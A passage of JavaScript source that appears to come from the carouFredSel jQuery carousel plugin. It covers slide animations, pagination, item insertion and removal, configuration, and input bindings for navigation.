cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } else if (opts.items.filter != '*') { var vI = gn_getVisibleItemsNextFilter(a_itm, opts, itms.total-nI); opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } if (opts.usePadding) sz_resetMargin(a_itm, opts, true); // scroll 0, don't scroll if (nI == 0) { e.stopImmediatePropagation(); return debug(conf, '0 items to scroll: Not scrolling.'); } debug(conf, 'Scrolling '+nI+' items backward.'); // save new config itms.first += nI; while (itms.first >= itms.total) { itms.first -= itms.total; } // non-circular callback if (!opts.circular) { if (itms.first == 0 && sO.onEnd) sO.onEnd.call($tt0); if (!opts.infinite) nv_enableNavi(opts, itms.first, conf); } // rearrange items $cfs.children().slice(itms.total-nI, itms.total).prependTo($cfs); if (itms.total < opts.items.visible + nI) { $cfs.children().slice(0, (opts.items.visible+nI)-itms.total).clone(true).appendTo($cfs); } // the needed items var a_itm = $cfs.children(), c_old = gi_getOldItemsPrev(a_itm, opts, nI), c_new = gi_getNewItemsPrev(a_itm, opts), l_cur = a_itm.eq(nI-1), l_old = c_old.last(), l_new = c_new.last(); if (opts.usePadding) sz_resetMargin(a_itm, opts); if (opts.align) { var p = cf_getAlignPadding(c_new, opts), pL = p[0], pR = p[1]; } else { var pL = 0, pR = 0; } var oL = (pL < 0) ? opts.padding[opts.d[3]] : 0; // hide items for fx directscroll if (sO.fx == 'directscroll' && opts.items.visible < nI) { var hiddenitems = a_itm.slice(opts.items.visibleConf.old, nI), orgW = opts.items[opts.d['width']]; hiddenitems.each(function() { var hi = $(this); hi.data('isHidden', hi.is(':hidden')).hide(); }); opts.items[opts.d['width']] = 'variable'; } else { var hiddenitems = false; } // save new sizes var i_siz = ms_getTotalSize(a_itm.slice(0, nI), opts, 'width'), w_siz = cf_mapWrapperSizes(ms_getSizes(c_new, opts, true), opts, !opts.usePadding); if (hiddenitems) opts.items[opts.d['width']] = orgW; if (opts.usePadding) { sz_resetMargin(a_itm, opts, true); if (pR >= 0) { sz_resetMargin(l_old, opts, opts.padding[opts.d[1]]); } sz_resetMargin(l_cur, opts, opts.padding[opts.d[3]]); } if (opts.align) { opts.padding[opts.d[1]] = pR; opts.padding[opts.d[3]] = pL; } // animation configuration var a_cfs = {}, a_dur = sO.duration; if (sO.fx == 'none') a_dur = 0; else if (a_dur == 'auto') a_dur = opts.scroll.duration / opts.scroll.items * nI; else if (a_dur <= 0) a_dur = 0; else if (a_dur < 10) a_dur = i_siz / a_dur; scrl = sc_setScroll(a_dur, sO.easing); // animate wrapper if (opts[opts.d['width']] == 'variable' || opts[opts.d['height']] == 'variable') { scrl.anims.push([$wrp, w_siz]); } // animate items if (opts.usePadding) { var new_m = opts.padding[opts.d[3]]; if (l_new.not(l_cur).length) { var a_cur = {}; a_cur[opts.d['marginRight']] = l_cur.data('cfs_origCssMargin'); if (pL < 0) l_cur.css(a_cur); else scrl.anims.push([l_cur, a_cur]); } if (l_new.not(l_old).length) { var a_old = {}; a_old[opts.d['marginRight']] = l_old.data('cfs_origCssMargin'); scrl.anims.push([l_old, a_old]); } if (pR >= 0) { var a_new = {}; a_new[opts.d['marginRight']] = l_new.data('cfs_origCssMargin') + opts.padding[opts.d[1]]; scrl.anims.push([l_new, a_new]); } } else { var new_m = 0; } // animate carousel a_cfs[opts.d['left']] = new_m; // onBefore callback var args = [c_old, c_new, w_siz, a_dur]; if (sO.onBefore) sO.onBefore.apply($tt0, args); clbk.onBefore = sc_callCallbacks(clbk.onBefore, $tt0, args); // ALTERNATIVE EFFECTS // extra animation arrays switch(sO.fx) { case 'fade': case 'crossfade': case 'cover': case 'uncover': scrl.pre = sc_setScroll(scrl.duration, scrl.easing); scrl.post = sc_setScroll(scrl.duration, scrl.easing); scrl.duration = 0; break; } // create copy switch(sO.fx) { case 'crossfade': case 'cover': case 'uncover': var $cf2 = $cfs.clone().appendTo($wrp); break; } switch(sO.fx) { case 'uncover': $cf2.children().slice(0, nI).remove(); case 'crossfade': case 'cover': $cf2.children().slice(opts.items.visible).remove(); break; } // animations switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 0 }]); break; case 'crossfade': $cf2.css({ 'opacity': 0 }); scrl.pre.anims.push([$cfs, { 'width': '+=0' }, function() { $cf2.remove(); }]); scrl.post.anims.push([$cf2, { 'opacity': 1 }]); break; case 'cover': scrl = fx_cover(scrl, $cfs, $cf2, opts, true); break; case 'uncover': scrl = fx_uncover(scrl, $cfs, $cf2, opts, true, nI); break; } // /ALTERNATIVE EFFECTS // complete callback var a_complete = function() { var overFill = opts.items.visible+nI-itms.total; if (overFill > 0) { $cfs.children().slice(itms.total).remove(); c_old = $( $cfs.children().slice(itms.total-(opts.items.visible-overFill)).get().concat( $cfs.children().slice(0, overFill).get() ) ); } if (hiddenitems) { hiddenitems.each(function() { var hi = $(this); if (!hi.data('isHidden')) hi.show(); }); } if (opts.usePadding) { var l_itm = $cfs.children().eq(opts.items.visible+nI-1); l_itm.css(opts.d['marginRight'], l_itm.data('cfs_origCssMargin')); } scrl.anims = []; if (scrl.pre) scrl.pre = sc_setScroll(scrl.orgDuration, scrl.easing); var fn = function() { switch(sO.fx) { case 'fade': case 'crossfade': $cfs.css('filter', ''); break; } scrl.post = sc_setScroll(0, null); crsl.isScrolling = false; var args = [c_old, c_new, w_siz]; if (sO.onAfter) sO.onAfter.apply($tt0, args); clbk.onAfter = sc_callCallbacks(clbk.onAfter, $tt0, args); if (queu.length) { $cfs.trigger(cf_e(queu[0][0], conf), queu[0][1]); queu.shift(); } if (!crsl.isPaused) $cfs.trigger(cf_e('play', conf)); }; switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 1 }, fn]); sc_startScroll(scrl.pre); break; case 'uncover': scrl.pre.anims.push([$cfs, { 'width': '+=0' }, fn]); sc_startScroll(scrl.pre); break; default: fn(); break; } }; scrl.anims.push([$cfs, a_cfs, a_complete]); crsl.isScrolling = true; $cfs.css(opts.d['left'], -(i_siz-oL)); tmrs = sc_clearTimers(tmrs); sc_startScroll(scrl); cf_setCookie(opts.cookie, $cfs.triggerHandler(cf_e('currentPosition', conf))); $cfs.trigger(cf_e('updatePageStatus', conf), [false, w_siz]); return true; }); // next event $cfs.bind(cf_e('slide_next', conf), function(e, sO, nI) { e.stopPropagation(); var a_itm = $cfs.children(); // non-circular at end, scroll to start if (!opts.circular) { if (itms.first == opts.items.visible) { if (opts.infinite) { $cfs.trigger(cf_e('prev', conf), itms.total-1); } return e.stopImmediatePropagation(); } } if (opts.usePadding) sz_resetMargin(a_itm, opts); // find number of items to scroll if (typeof nI != 'number') { if (opts.items.filter != '*') { var xI = (typeof sO.items == 'number') ? sO.items : gn_getVisibleOrg($cfs, opts); nI = gn_getScrollItemsNextFilter(a_itm, opts, 0, xI); } else { nI = opts.items.visible; } nI = cf_getAdjust(nI, opts, sO.items, $tt0); } var lastItemNr = (itms.first == 0) ? itms.total : itms.first; // prevent non-circular from scrolling to far if (!opts.circular) { if (opts.items.visibleConf.variable) { var vI = gn_getVisibleItemsNext(a_itm, opts, nI), xI = gn_getVisibleItemsPrev(a_itm, opts, lastItemNr-1); } else { var vI = opts.items.visible, xI = opts.items.visible; } if (nI + vI > lastItemNr) { nI = lastItemNr - xI; } } // set new number of visible items opts.items.visibleConf.old = opts.items.visible; if (opts.items.visibleConf.variable) { var vI = gn_getVisibleItemsNextTestCircular(a_itm, opts, nI, lastItemNr); while (opts.items.visible-nI >= vI && nI < itms.total) { nI++; vI = gn_getVisibleItemsNextTestCircular(a_itm, opts, nI, lastItemNr); } opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } else if (opts.items.filter != '*') { var vI = gn_getVisibleItemsNextFilter(a_itm, opts, nI); opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); } if (opts.usePadding) sz_resetMargin(a_itm, opts, true); // scroll 0, don't scroll if (nI == 0) { e.stopImmediatePropagation(); return debug(conf, '0 items to scroll: Not scrolling.'); } debug(conf, 'Scrolling '+nI+' items forward.'); // save new config itms.first -= nI; while (itms.first < 0) { itms.first += itms.total; } // non-circular callback if (!opts.circular) { if (itms.first == opts.items.visible && sO.onEnd) sO.onEnd.call($tt0); if (!opts.infinite) nv_enableNavi(opts, itms.first, conf); } // rearrange items if (itms.total < opts.items.visible+nI) { $cfs.children().slice(0, (opts.items.visible+nI)-itms.total).clone(true).appendTo($cfs); } // the needed items var a_itm = $cfs.children(), c_old = gi_getOldItemsNext(a_itm, opts), c_new = gi_getNewItemsNext(a_itm, opts, nI), l_cur = a_itm.eq(nI-1), l_old = c_old.last(), l_new = c_new.last(); if (opts.usePadding) sz_resetMargin(a_itm, opts); if (opts.align) { var p = cf_getAlignPadding(c_new, opts), pL = p[0], pR = p[1]; } else { var pL = 0, pR = 0; } // hide items for fx directscroll if (sO.fx == 'directscroll' && opts.items.visibleConf.old < nI) { var hiddenitems = a_itm.slice(opts.items.visibleConf.old, nI), orgW = opts.items[opts.d['width']]; hiddenitems.each(function() { var hi = $(this); hi.data('isHidden', hi.is(':hidden')).hide(); }); opts.items[opts.d['width']] = 'variable'; } else { var hiddenitems = false; } // save new sizes var i_siz = ms_getTotalSize(a_itm.slice(0, nI), opts, 'width'), w_siz = cf_mapWrapperSizes(ms_getSizes(c_new, opts, true), opts, !opts.usePadding); if (hiddenitems) opts.items[opts.d['width']] = orgW; if (opts.align) { if (opts.padding[opts.d[1]] < 0) { opts.padding[opts.d[1]] = 0; } } if (opts.usePadding) { sz_resetMargin(a_itm, opts, true); sz_resetMargin(l_old, opts, opts.padding[opts.d[1]]); } if (opts.align) { opts.padding[opts.d[1]] = pR; opts.padding[opts.d[3]] = pL; } // animation configuration var a_cfs = {}, a_dur = sO.duration; if (sO.fx == 'none') a_dur = 0; else if (a_dur == 'auto') a_dur = opts.scroll.duration / opts.scroll.items * nI; else if (a_dur <= 0) a_dur = 0; else if (a_dur < 10) a_dur = i_siz / a_dur; scrl = sc_setScroll(a_dur, sO.easing); // animate wrapper if (opts[opts.d['width']] == 'variable' || opts[opts.d['height']] == 'variable') { scrl.anims.push([$wrp, w_siz]); } // animate items if (opts.usePadding) { var l_new_m = l_new.data('cfs_origCssMargin'); if (pR >= 0) { l_new_m += opts.padding[opts.d[1]]; } l_new.css(opts.d['marginRight'], l_new_m); if (l_cur.not(l_old).length) { var a_old = {}; a_old[opts.d['marginRight']] = l_old.data('cfs_origCssMargin'); scrl.anims.push([l_old, a_old]); } var c_new_m = l_cur.data('cfs_origCssMargin'); if (pL >= 0) { c_new_m += opts.padding[opts.d[3]]; } var a_cur = {}; a_cur[opts.d['marginRight']] = c_new_m; scrl.anims.push([l_cur, a_cur]); } // animate carousel a_cfs[opts.d['left']] = -i_siz; if (pL < 0) { a_cfs[opts.d['left']] += pL; } // onBefore callback var args = [c_old, c_new, w_siz, a_dur]; if (sO.onBefore) sO.onBefore.apply($tt0, args); clbk.onBefore = sc_callCallbacks(clbk.onBefore, $tt0, args); // ALTERNATIVE EFFECTS // extra animation arrays switch(sO.fx) { case 'fade': case 'crossfade': case 'cover': case 'uncover': scrl.pre = sc_setScroll(scrl.duration, scrl.easing); scrl.post = sc_setScroll(scrl.duration, scrl.easing); scrl.duration = 0; break; } // create copy switch(sO.fx) { case 'crossfade': case 'cover': case 'uncover': var $cf2 = $cfs.clone().appendTo($wrp); break; } switch(sO.fx) { case 'uncover': $cf2.children().slice(opts.items.visibleConf.old).remove(); break; case 'crossfade': case 'cover': $cf2.children().slice(0, nI).remove(); $cf2.children().slice(opts.items.visible).remove(); break; } // animations switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 0 }]); break; case 'crossfade': $cf2.css({ 'opacity': 0 }); scrl.pre.anims.push([$cfs, { 'width': '+=0' }, function() { $cf2.remove(); }]); scrl.post.anims.push([$cf2, { 'opacity': 1 }]); break; case 'cover': scrl = fx_cover(scrl, $cfs, $cf2, opts, false); break; case 'uncover': scrl = fx_uncover(scrl, $cfs, $cf2, opts, false, nI); break; } // /ALTERNATIVE EFFECTS // complete callback var a_complete = function() { var overFill = opts.items.visible+nI-itms.total, new_m = (opts.usePadding) ? opts.padding[opts.d[3]] : 0; $cfs.css(opts.d['left'], new_m); if (overFill > 0) { $cfs.children().slice(itms.total).remove(); } var l_itm = $cfs.children().slice(0, nI).appendTo($cfs).last(); if (overFill > 0) { c_new = gi_getCurrentItems(a_itm, opts); } if (hiddenitems) { hiddenitems.each(function() { var hi = $(this); if (!hi.data('isHidden')) hi.show(); }); } if (opts.usePadding) { if (itms.total < opts.items.visible+nI) { var l_cur = $cfs.children().eq(opts.items.visible-1); l_cur.css(opts.d['marginRight'], l_cur.data('cfs_origCssMargin') + opts.padding[opts.d[3]]); } l_itm.css(opts.d['marginRight'], l_itm.data('cfs_origCssMargin')); } scrl.anims = []; if (scrl.pre) scrl.pre = sc_setScroll(scrl.orgDuration, scrl.easing); var fn = function() { switch(sO.fx) { case 'fade': case 'crossfade': $cfs.css('filter', ''); break; } scrl.post = sc_setScroll(0, null); crsl.isScrolling = false; var args = [c_old, c_new, w_siz]; if (sO.onAfter) sO.onAfter.apply($tt0, args); clbk.onAfter = sc_callCallbacks(clbk.onAfter, $tt0, args); if (queu.length) { $cfs.trigger(cf_e(queu[0][0], conf), queu[0][1]); queu.shift(); } if (!crsl.isPaused) $cfs.trigger(cf_e('play', conf)); }; switch(sO.fx) { case 'fade': scrl.pre.anims.push([$cfs, { 'opacity': 1 }, fn]); sc_startScroll(scrl.pre); break; case 'uncover': scrl.pre.anims.push([$cfs, { 'width': '+=0' }, fn]); sc_startScroll(scrl.pre); break; default: fn(); break; } }; scrl.anims.push([$cfs, a_cfs, a_complete]); crsl.isScrolling = true; tmrs = sc_clearTimers(tmrs); sc_startScroll(scrl); cf_setCookie(opts.cookie, $cfs.triggerHandler(cf_e('currentPosition', conf))); $cfs.trigger(cf_e('updatePageStatus', conf), [false, w_siz]); return true; }); // slideTo event $cfs.bind(cf_e('slideTo', conf), function(e, num, dev, org, obj, dir, clb) { e.stopPropagation(); var v = [num, dev, org, obj, dir, clb], t = ['string/number/object', 'number', 'boolean', 'object', 'string', 'function'], a = cf_sortParams(v, t); var obj = a[3], dir = a[4], clb = a[5]; num = gn_getItemIndex(a[0], a[1], a[2], itms, $cfs); if (num == 0) return; if (typeof obj != 'object') obj = false; if (crsl.isScrolling) { if (typeof obj != 'object' || obj.duration > 0) return false; } if (dir != 'prev' && dir != 'next') { if (opts.circular) { if (num <= itms.total / 2) dir = 'next'; else dir = 'prev'; } else { if (itms.first == 0 || itms.first > num) dir = 'next'; else dir = 'prev'; } } if (dir == 'prev') num = itms.total-num; $cfs.trigger(cf_e(dir, conf), [obj, num, clb]); return true; }); // prevPage event $cfs.bind(cf_e('prevPage', conf), function(e, obj, clb) { e.stopPropagation(); var cur = $cfs.triggerHandler(cf_e('currentPage', conf)); return $cfs.triggerHandler(cf_e('slideToPage', conf), [cur-1, obj, 'prev', clb]); }); // nextPage event $cfs.bind(cf_e('nextPage', conf), function(e, obj, clb) { e.stopPropagation(); var cur = $cfs.triggerHandler(cf_e('currentPage', conf)); return $cfs.triggerHandler(cf_e('slideToPage', conf), [cur+1, obj, 'next', clb]); }); // slideToPage event $cfs.bind(cf_e('slideToPage', conf), function(e, pag, obj, dir, clb) { e.stopPropagation(); if (typeof pag != 'number') pag = $cfs.triggerHandler(cf_e('currentPage', conf)); var ipp = opts.pagination.items || opts.items.visible, max = Math.ceil(itms.total / ipp)-1; if (pag < 0) pag = max; if (pag > max) pag = 0; return $cfs.triggerHandler(cf_e('slideTo', conf), [pag*ipp, 0, true, obj, dir, clb]); }); // jumpToStart event $cfs.bind(cf_e('jumpToStart', conf), function(e, s) { e.stopPropagation(); if (s) s = gn_getItemIndex(s, 0, true, itms, $cfs); else s = 0; s += itms.first; if (s != 0) { while (s > itms.total) s -= itms.total; $cfs.prepend($cfs.children().slice(s, itms.total)); } return true; }); // synchronise event $cfs.bind(cf_e('synchronise', conf), function(e, s) { e.stopPropagation(); if (s) s = cf_getSynchArr(s); else if (opts.synchronise) s = opts.synchronise; else return debug(conf, 'No carousel to synchronise.'); var n = $cfs.triggerHandler(cf_e('currentPosition', conf)), x = true; for (var j = 0, l = s.length; j < l; j++) { if (!s[j][0].triggerHandler(cf_e('slideTo', conf), [n, s[j][3], true])) { x = false; } } return x; }); // queue event $cfs.bind(cf_e('queue', conf), function(e, dir, opt) { e.stopPropagation(); if (typeof dir == 'function') { dir.call($tt0, queu); } else if (is_array(dir)) { queu = dir; } else if (typeof dir != 'undefined') { queu.push([dir, opt]); } return queu; }); // insertItem event $cfs.bind(cf_e('insertItem', conf), function(e, itm, num, org, dev) { e.stopPropagation(); var v = [itm, num, org, dev], t = ['string/object', 'string/number/object', 'boolean', 'number'], a = cf_sortParams(v, t); var itm = a[0], num = a[1], org = a[2], dev = a[3]; if (typeof itm == 'object' && typeof itm.jquery == 'undefined') itm = $(itm); if (typeof itm == 'string') itm = $(itm); if (typeof itm != 'object' || typeof itm.jquery == 'undefined' || itm.length == 0) return debug(conf, 'Not a valid object.'); if (typeof num == 'undefined') num = 'end'; if (opts.usePadding) { itm.each(function() { var m = parseInt($(this).css(opts.d['marginRight'])); if (isNaN(m)) m = 0; $(this).data('cfs_origCssMargin', m); }); } var orgNum = num, before = 'before'; if (num == 'end') { if (org) { if (itms.first == 0) { num = itms.total-1; before = 'after'; } else { num = itms.first; itms.first += itm.length } if (num < 0) num = 0; } else { num = itms.total-1; before = 'after'; } } else { num = gn_getItemIndex(num, dev, org, itms, $cfs); } if (orgNum != 'end' && !org) { if (num < itms.first) itms.first += itm.length; } if (itms.first >= itms.total) itms.first -= itms.total; var $cit = $cfs.children().eq(num); if ($cit.length) { $cit[before](itm); } else { $cfs.append(itm); } itms.total = $cfs.children().length; var sz = $cfs.triggerHandler('updateSizes'); nv_showNavi(opts, itms.total, conf); nv_enableNavi(opts, itms.first, conf); $cfs.trigger(cf_e('linkAnchors', conf)); $cfs.trigger(cf_e('updatePageStatus', conf), [true, sz]); return true; }); // removeItem event $cfs.bind(cf_e('removeItem', conf), function(e, num, org, dev) { e.stopPropagation(); var v = [num, org, dev], t = ['string/number/object', 'boolean', 'number'], a = cf_sortParams(v, t); num = a[0]; org = a[1]; dev = a[2]; var removed = false; if (num instanceof $ && num.length > 1) { $removed = $(); num.each(function(i, el) { var $rem = $cfs.trigger(cf_e('removeItem', conf), [$(this), org, dev]); if ($rem) $removed = $removed.add($rem); }); return $removed; } if (typeof num == 'undefined' || num == 'end') { $removed = $cfs.children().last(); } else { num = gn_getItemIndex(num, dev, org, itms, $cfs); var $removed = $cfs.children().eq(num); if ($removed.length){ if (num < itms.first) itms.first -= $removed.length; } } if ($removed && $removed.length) { $removed.detach(); itms.total = $cfs.children().length; var sz = $cfs.triggerHandler('updateSizes'); nv_showNavi(opts, itms.total, conf); nv_enableNavi(opts, itms.first, conf); $cfs.trigger(cf_e('updatePageStatus', conf), [true, sz]); } return $removed; }); // onBefore and onAfter event $cfs.bind(cf_e('onBefore', conf)+' '+cf_e('onAfter', conf), function(e, fn) { e.stopPropagation(); var eType = e.type.slice(conf.events.prefix.length); if (is_array(fn)) clbk[eType] = fn; if (typeof fn == 'function') clbk[eType].push(fn); return clbk[eType]; }); // currentPosition event $cfs.bind(cf_e('currentPosition', conf), function(e, fn) { e.stopPropagation(); if (itms.first == 0) var val = 0; else var val = itms.total - itms.first; if (typeof fn == 'function') fn.call($tt0, val); return val; }); // currentPage event $cfs.bind(cf_e('currentPage', conf), function(e, fn) { e.stopPropagation(); var ipp = opts.pagination.items || opts.items.visible; var max = Math.ceil(itms.total/ipp-1); if (itms.first == 0) var nr = 0; else if (itms.first < itms.total % ipp) var nr = 0; else if (itms.first == ipp && !opts.circular) var nr = max; else var nr = Math.round((itms.total-itms.first)/ipp); if (nr < 0) nr = 0; if (nr > max) nr = max; if (typeof fn == 'function') fn.call($tt0, nr); return nr; }); // currentVisible event $cfs.bind(cf_e('currentVisible', conf), function(e, fn) { e.stopPropagation(); $i = gi_getCurrentItems($cfs.children(), opts); if (typeof fn == 'function') fn.call($tt0, $i); return $i; }); // slice event $cfs.bind(cf_e('slice', conf), function(e, f, l, fn) { e.stopPropagation(); if (itms.total == 0) return false; var v = [f, l, fn], t = ['number', 'number', 'function'], a = cf_sortParams(v, t); f = (typeof a[0] == 'number') ? a[0] : 0; l = (typeof a[1] == 'number') ? a[1] : itms.total; fn = a[2]; f += itms.first; l += itms.first; while (f > itms.total) { f -= itms.total } while (l > itms.total) { l -= itms.total } while (f < 0) { f += itms.total } while (l < 0) { l += itms.total } var $iA = $cfs.children(); if (l > f) { var $i = $iA.slice(f, l); } else { var $i = $( $iA.slice(f, itms.total).get().concat( $iA.slice(0, l).get() ) ); } if (typeof fn == 'function') fn.call($tt0, $i); return $i; }); // isPaused, isStopped and isScrolling events $cfs.bind(cf_e('isPaused', conf)+' '+cf_e('isStopped', conf)+' '+cf_e('isScrolling', conf), function(e, fn) { e.stopPropagation(); var eType = e.type.slice(conf.events.prefix.length); if (typeof fn == 'function') fn.call($tt0, crsl[eType]); return crsl[eType]; }); // configuration event $cfs.bind(cf_e('configuration', conf), function(e, a, b, c) { e.stopPropagation(); var reInit = false; // return entire configuration-object if (typeof a == 'function') { a.call($tt0, opts); // set multiple options via object } else if (typeof a == 'object') { opts_orig = $.extend(true, {}, opts_orig, a); if (b !== false) reInit = true; else opts = $.extend(true, {}, opts, a); } else if (typeof a != 'undefined') { // callback function for specific option if (typeof b == 'function') { var val = eval('opts.'+a); if (typeof val == 'undefined') val = ''; b.call($tt0, val); // set individual option } else if (typeof b != 'undefined') { if (typeof c !== 'boolean') c = true; eval('opts_orig.'+a+' = b'); if (c !== false) reInit = true; else eval('opts.'+a+' = b'); // return value for specific option } else { return eval('opts.'+a); } } if (reInit) { sz_resetMargin($cfs.children(), opts); $cfs._cfs_init(opts_orig); $cfs._cfs_bind_buttons(); var siz = sz_setSizes($cfs, opts, false); $cfs.trigger(cf_e('updatePageStatus', conf), [true, siz]); } return opts; }); // linkAnchors event $cfs.bind(cf_e('linkAnchors', conf), function(e, $con, sel) { e.stopPropagation(); if (typeof $con == 'undefined' || $con.length == 0) $con = $('body'); else if (typeof $con == 'string') $con = $($con); if (typeof $con != 'object') return debug(conf, 'Not a valid object.'); if (typeof sel != 'string' || sel.length == 0) sel = 'a.caroufredsel'; $con.find(sel).each(function() { var h = this.hash || ''; if (h.length > 0 && $cfs.children().index($(h)) != -1) { $(this).unbind('click').click(function(e) { e.preventDefault(); $cfs.trigger(cf_e('slideTo', conf), h); }); } }); return true; }); // updatePageStatus event $cfs.bind(cf_e('updatePageStatus', conf), function(e, build, sizes) { e.stopPropagation(); if (!opts.pagination.container) return; if (build) { var ipp = opts.pagination.items || opts.items.visible, l = Math.ceil(itms.total/ipp); if (opts.pagination.anchorBuilder) { opts.pagination.container.children().remove(); opts.pagination.container.each(function() { for (var a = 0; a < l; a++) { var i = $cfs.children().eq( gn_getItemIndex(a*ipp, 0, true, itms, $cfs) ); $(this).append(opts.pagination.anchorBuilder(a+1, i)); } }); } opts.pagination.container.each(function() { $(this).children().unbind(opts.pagination.event).each(function(a) { $(this).bind(opts.pagination.event, function(e) { e.preventDefault(); $cfs.trigger(cf_e('slideTo', conf), [a*ipp, 0, true, opts.pagination]); }); }); }); } opts.pagination.container.each(function() { $(this).children().removeClass(cf_c('selected', conf)).eq($cfs.triggerHandler(cf_e('currentPage', conf))).addClass(cf_c('selected', conf)); }); return true; }); // updateSizes event $cfs.bind(cf_e('updateSizes', conf), function(e) { var a_itm = $cfs.children(), vI = opts.items.visible; if (opts.items.visibleConf.variable) vI = gn_getVisibleItemsNext(a_itm, opts, 0); else if (opts.items.filter != '*') vI = gn_getVisibleItemsNextFilter(a_itm, opts, 0); if (!opts.circular && itms.first != 0 && vI > itms.first) { if (opts.items.visibleConf.variable) { var nI = gn_getVisibleItemsPrev(a_itm, opts, itms.first) - itms.first; } else if (opts.items.filter != '*') { var nI = gn_getVisibleItemsPrevFilter(a_itm, opts, itms.first) - itms.first; } else { nI = opts.items.visible - itms.first; } debug(conf, 'Preventing non-circular: sliding '+nI+' items backward.'); $cfs.trigger('prev', nI); } opts.items.visible = cf_getItemsAdjust(vI, opts, opts.items.visibleConf.adjust, $tt0); return sz_setSizes($cfs, opts); }); // destroy event $cfs.bind(cf_e('destroy', conf), function(e, orgOrder) { e.stopPropagation(); tmrs = sc_clearTimers(tmrs); $cfs.data('cfs_isCarousel', false); $cfs.trigger(cf_e('finish', conf)); if (orgOrder) { $cfs.trigger(cf_e('jumpToStart', conf)); } if (opts.usePadding) { sz_resetMargin($cfs.children(), opts); } $cfs.css($cfs.data('cfs_origCss')); $cfs._cfs_unbind_events(); $cfs._cfs_unbind_buttons(); $wrp.replaceWith($cfs); return true; }); // triggerEvent, making prefixed and namespaced events accessible from the outside $cfs.bind('_cfs_triggerEvent', function(e, n, o) { e.stopPropagation(); return $cfs.triggerHandler(cf_e(n, conf), o); }); }; // /bind_events $cfs._cfs_unbind_events = function() { $cfs.unbind(cf_e('', conf)); $cfs.unbind(cf_e('', conf, false)); $cfs.unbind('_cfs_triggerEvent'); }; // /unbind_events $cfs._cfs_bind_buttons = function() { $cfs._cfs_unbind_buttons(); nv_showNavi(opts, itms.total, conf); nv_enableNavi(opts, itms.first, conf); if (opts.auto.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.auto.pauseOnHover); $wrp.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } if (opts.auto.button) { opts.auto.button.bind(cf_e(opts.auto.event, conf, false), function(e) { e.preventDefault(); var ev = false, pC = null; if (crsl.isPaused) { ev = 'play'; } else if (opts.auto.pauseOnEvent) { ev = 'pause'; pC = bt_pauseOnHoverConfig(opts.auto.pauseOnEvent); } if (ev) { $cfs.trigger(cf_e(ev, conf), pC); } }); } if (opts.prev.button) { opts.prev.button.bind(cf_e(opts.prev.event, conf, false), function(e) { e.preventDefault(); $cfs.trigger(cf_e('prev', conf)); }); if (opts.prev.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.prev.pauseOnHover); opts.prev.button.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } } if (opts.next.button) { opts.next.button.bind(cf_e(opts.next.event, conf, false), function(e) { e.preventDefault(); $cfs.trigger(cf_e('next', conf)); }); if (opts.next.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.next.pauseOnHover); opts.next.button.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } } if ($.fn.mousewheel) { if (opts.prev.mousewheel) { if (!crsl.mousewheelPrev) { crsl.mousewheelPrev = true; $wrp.mousewheel(function(e, delta) { if (delta > 0) { e.preventDefault(); var num = bt_mousesheelNumber(opts.prev.mousewheel); $cfs.trigger(cf_e('prev', conf), num); } }); } } if (opts.next.mousewheel) { if (!crsl.mousewheelNext) { crsl.mousewheelNext = true; $wrp.mousewheel(function(e, delta) { if (delta < 0) { e.preventDefault(); var num = bt_mousesheelNumber(opts.next.mousewheel); $cfs.trigger(cf_e('next', conf), num); } }); } } } if ($.fn.touchwipe) { var wP = (opts.prev.wipe) ? function() { $cfs.trigger(cf_e('prev', conf)) } : null, wN = (opts.next.wipe) ? function() { $cfs.trigger(cf_e('next', conf)) } : null; if (wN || wN) { if (!crsl.touchwipe) { crsl.touchwipe = true; var twOps = { 'min_move_x': 30, 'min_move_y': 30, 'preventDefaultEvents': true }; switch (opts.direction) { case 'up': case 'down': twOps.wipeUp = wP; twOps.wipeDown = wN; break; default: twOps.wipeLeft = wN; twOps.wipeRight = wP; } $wrp.touchwipe(twOps); } } } if (opts.pagination.container) { if (opts.pagination.pauseOnHover) { var pC = bt_pauseOnHoverConfig(opts.pagination.pauseOnHover); opts.pagination.container.bind(cf_e('mouseenter', conf, false), function() { $cfs.trigger(cf_e('pause', conf), pC); }) .bind(cf_e('mouseleave', conf, false), function() { $cfs.trigger(cf_e('resume', conf)); }); } } if (opts.prev.key || opts.next.key) { $(document).bind(cf_e('keyup', conf, false, true, true), function(e) { var k = e.keyCode; if (k == opts.next.key) { e.preventDefault(); $cfs.trigger(cf_e('next', conf)); } if (k == opts.prev.key) { e.preventDefault(); $cfs.trigger(cf_e('prev', conf)); } }); } if (opts.pagination.keys) { $(document).bind(cf_e('keyup', conf, false, true, true), function(e) { var k = e.keyCode; if (k >= 49 && k < 58) { k = (k-49) * opts.items.visible; if (k <= itms.total) { e.preventDefault(); $cfs.trigger(cf_e('slideTo', conf), [k, 0, true, opts.pagination]); } } }); } if (opts.auto.play) { $cfs.trigger(cf_e('play', conf), opts.auto.delay); } if (crsl.upDateOnWindowResize) { var $w = $(window), _windowWidth = $w.width(), _windowHeight = $w.height(); $w.bind(cf_e('resize', conf, false, true, true), function(e) { if ($w.width() != _windowWidth || $w.height() != _windowHeight) { $cfs.trigger(cf_e('finish', conf)); if (opts.auto.pauseOnResize && !crsl.isPaused) { $cfs.trigger(cf_e('play', conf)); } sz_resetMargin($cfs.children(), opts); $cfs._cfs_init(opts_orig); var siz = sz_setSizes($cfs, opts, false); $cfs.trigger(cf_e('updatePageStatus', conf), 